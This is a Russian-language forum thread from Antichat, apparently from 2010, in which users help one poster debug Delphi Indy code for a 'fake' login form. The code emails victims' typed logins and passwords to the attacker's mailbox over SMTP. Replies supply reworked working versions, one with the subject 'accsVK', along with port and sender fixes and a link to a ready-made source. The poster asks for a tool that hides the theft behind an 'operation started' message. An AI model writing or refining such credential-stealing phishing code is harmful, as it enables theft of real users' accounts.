Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Помогите пожалуйста! (https://forum.antichat.xyz/showthread.php?t=193157)

gta 03.04.2010 22:28
Помогите пожалуйста!
 
Вот такой текст обработчика для кнопки в фейке!

Цитата:
idmessage1.Recipients.emailaddresses:='login@mail. ru'; //Куда придут пароль и логин с фейка
idmessage1.From.Text:='login@mail.ru'; //От кого пишем сюда тот с которого будет отправляться
idmessage1.body.text:='Логин:'+edit1.text+' Пароль:'+edit2.text; //Тело письма
idmessage1.subject:='Фейк'; // Тема письма
idmessage1.ContentType:='text/plain'; //Тип письма- можно неуказывать, но мы в целях безопасности укажим )
idPOP31.username:='login'; //Логин
idPOP31.Password:='xxxxx'; //Пароль
idPOP31.Host:='pop3.mail.ru'; //pop3 на mail.ru(для list.ru, bk.ru и inbox.ru такой же) для другого домена естественно будет другой
idPOP31.Port:=110; //Порт POP3
idPOP31.Connect(60000); //Конектимся с таймаутом 60 сек
idSmtp1.username:='login'; //Логин где mail.ru название домена
idSmtp1.Password:='xxxxxxx'; //Пароль
idsmtp1.Host:='smtp.mail.ru'; //smtp на mail.ru(для list.ru, bk.ru и inbox.ru такой же) для другого домена естественно будет друго
idsmtp1.Port:=25; //Порт smtp
idsmtp1.Connect(60000); //Коннектимся с таймаутом 60 сек
idSmtp1.Send(IdMessage1); //Отправка письма с логином и паролем
idSmtp1.Disconnect; //Отключаемся
idPOP31.Disconnect; //Отключаемся


Вообщем через некоторое время при нажатии кнопки выдает:
Project xxxx raised exception class EidSocketError with message 'Socket Error # 10060 Connection Timed Out'.


Короче не знаю что делать. Помогите пожалуйста! Или скажите как сделать проще.
Process stopped. Use Step or Run to continue.

GhostOnline 03.04.2010 22:35
Ну всего лишь время таймаута истекло, ничего страшного
отрассируй именно при каком коннекте это происходит

stepashka_ 03.04.2010 22:53
зачем так сложно?

Цитата:
IdSMTP1.Host:='smtp.yandex.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='логин';
IdSMTP1.Password:='пасс';
IdMessage1.Body.Text:=' '+memo1.Text+' Прокси'+memo3.Text;
IdMessage1.From.Text:='логин@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='куда слать@mail.ru';
IdMessage1.Subject:='accsVK';
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Connect();
if IdSMTP1.Connected=true then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect
end;

gta 03.04.2010 23:02
Цитата:
Сообщение от stepashka_
зачем так сложно?
А можно под меня подстроить? Просто не знаю как изменить под эдит. :(

stepashka_ 03.04.2010 23:05
Цитата:
Сообщение от gta
А можно под меня подстроить? Просто не знаю как изменить под эдит. :(
Цитата:
IdSMTP1.Host:='smtp.yandex.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='логин';
IdSMTP1.Password:='пасс';
IdMessage1.Body.Text:='мыло '+edit1.Text+' Пасс'+edit2.Text;
IdMessage1.From.Text:='логин@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='куда слать@mail.ru';
IdMessage1.Subject:='accsVK';
IdSMTP1.AuthenticationType := atLogin;
IdSMTP1.Connect();
if IdSMTP1.Connected=true then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect
end;
как то так

gta 03.04.2010 23:26
Цитата:
Сообщение от stepashka_
как то так
Все равно таже ошибка. что делать.

GhostOnline 03.04.2010 23:37
AutoLogin попробуй отключить, и логинься сам

stepashka_ 03.04.2010 23:41
Цитата:
Сообщение от gta
Все равно таже ошибка. что делать.
залей сюда исходник :)

gta 04.04.2010 00:18
Цитата:
Сообщение от stepashka_
залей сюда исходник :)
Не хочу позориться :)
Может ктото быстро склепать рабочий исходник?
Логин пароль и кнопка старт. После старта пароль и логин шлются на мыло а юзеру высвечивается окошко операция начата. Очень прошу.

stepashka_ 04.04.2010 00:35
Цитата:
Сообщение от gta
Не хочу позориться :)
Может ктото быстро склепать рабочий исходник?
Логин пароль и кнопка старт. После старта пароль и логин шлются на мыло а юзеру высвечивается окошко операция начата. Очень прошу.
http://slil.ru/28903869
думаю разберёшся

mailbrush 04.04.2010 00:47
Эй, народ... Вы про WinSock слыхали?
Инди юзают, мда...

stepashka_ 04.04.2010 00:55
Цитата:
Сообщение от mailbrush
Эй, народ... Вы про WinSock слыхали?
Инди юзают, мда...
ты родился и знал WinSock?
всё знать не возможно...

gta 04.04.2010 01:09
Все равно не конектится!

Цитата:
IdSMTP1.Host:='smtp.mail.ru';
IdSMTP1.Port:=25;
Все равно таже ошибка. В чем проблема не пойму. как сделать фейк с icq тоже, там база нужна дополнительная. А фейк нужен в ближайшее время!

stepashka_ 04.04.2010 01:13
Цитата:
Сообщение от gta
Все равно не конектится!



Все равно таже ошибка. В чем проблема не пойму. как сделать фейк с icq тоже, там база нужна дополнительная. А фейк нужен в ближайшее время!
проверь чтоb в адресе отправителя у теbя стояло то письмо с которого шлеш.

gta 04.04.2010 01:19
Цитата:
Сообщение от stepashka_
проверь чтоb в адресе отправителя у теbя стояло то письмо с которого шлеш.
Ответь в icq.

GhostOnline 04.04.2010 01:39
Цитата:
Сообщение от mailbrush
Эй, народ... Вы про WinSock слыхали?
Инди юзают, мда...
Типа умный самый?

RedFern.89 04.04.2010 01:59
Я инди использую:) хотя там и стопицот багов, но меня все устраивает:)

masel 04.04.2010 12:25
Цитата:
IdSMTP1.Port:=25;
На mail.ru порт не такой. это для яндекса

ilyhamas 04.04.2010 12:30
Цитата:
IdSMTP1.Port:=25;
Поробуй вместо 25 поставить 2525 или 587

stepashka_ 04.04.2010 14:18
Цитата:
Сообщение от masel
На mail.ru порт не такой. это для яндекса
:D


ТС, ну что сделал?

Chrome~ 04.04.2010 14:24
Не понимаю, зачем ТС коннектится еще и к pop3 серверу? Нам только smtp нужен.

Berman 04.04.2010 14:27
О боже!

mailbrush 04.04.2010 14:34
Цитата:
Сообщение от GhostOnline
Типа умный самый?
Цитата:
Сообщение от stepashka_
ты родился и знал WinSock?
всё знать не возможно...
Нет, я не знал WinSock. При изучении дельфи в разных статьях описывались все баги и недочеты Indy и приемущества WinSock. Да, и чем меньше компонентов, тем код правильнее. Зачем программу увеличивать до 1мб, используя инди, если с WinSock'ом максимум на 10кб увеличится? + с ним работа правельнее, общение по SMTP протоколу, SMTP комманды.

Berman 04.04.2010 14:39
Использовать можно и INDY по умному, а если не устраивает размер в 200 кб, у меня так выходит простейшая программа с использованием smtp и message, а если и 200 кб не устаивает юзаем UPX а вообще нужно ассмеблер начинать учить... там всё в мини размерах и мне это жутко нравиться!!!

GhostOnline 06.04.2010 00:47
Цитата:
Сообщение от mailbrush
Да, и чем меньше компонентов, тем код правильнее.
Нах тогда ООП языки, дельфи и С++?
Заметь, я против апи ничего не имею, да и как вообще могу иметь против того на чем сам косвенно работаю?
Я за то чтобы к каждой задаче применялось оптимальное решение. А одно письмо отправить - винсок мягко сказать неоптимальное решение.
Начет правильности кода ты меня вообще огорчил, почитай книгу хорошую про ООП.
Все баги и недочеты...
Ты их даже не знаешь. Не знаешь потому что статьям уже больше 5 лет, они писались под дельфи 7 которая морально устарела давно. А инди имеет свойство обновляться тоже. Их и я не знаю. Вернее был один, но я его решил потому что умею программировать. Когда не работает проект, лучше поправить одну стрку в библиотеке, чем переписывать все на апи.


Время: 18:18